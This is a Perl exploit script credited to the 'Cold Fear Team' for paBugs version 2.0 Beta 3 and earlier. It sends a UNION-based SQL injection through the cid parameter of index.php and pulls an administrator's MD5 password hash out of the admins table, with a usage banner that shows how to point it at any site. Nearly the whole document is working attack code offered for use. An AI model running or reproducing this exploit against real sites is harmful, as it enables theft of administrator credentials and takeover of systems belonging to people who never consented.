paBugs <= v2.0 Beta 3 Sql-Injection exploit

Code:

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;

if(@ARGV < 4)
{
	usage();
	exit();
}

$host = $ARGV[0]; # Host
$path = $ARGV[1]; # Path to paBugs directory
$pref = $ARGV[2]; # prefix for table admins
$usid = $ARGV[3]; # user id

$www = new LWP::UserAgent;
$sql = "$host$path\index.php?cid=1'+union+select+1,2,3,password,5+from+$pref\_admins+where+id=$usid/*";
print "\n\n [~] Searching password hash for user with id=$usid \n";
$res = $www -> get($sql) or err();
$res -> content() =~ /([0-9,a-f]{32})/ or err();
print "\n [+] MD5 Hash for user with id=$usid is: $1 \n\n";

sub usage()
{
print "+---------------------------------------------------------+\n";
print "|                  .: Cold Fear Team :.                   |\n";
print "+---------------------------------------------------------+\n";
print "|    paBugs <= v2.0 Beta 3 Sql-Injection exploit          |\n";
print "| Usage: pabugs_cft.pl <site> <folder> <prefix> <user_id> |\n";
print "| e.g.: pabugs_cft.pl http://site.com / bt 1              |\n";
print "| Coded by p-range   // cf-team.net   // p-range.info     |\n";
print "+---------------------------------------------------------+\n";
}

sub err()
{
print "\n [-] Engine is NOT vulnerably";
exit();
}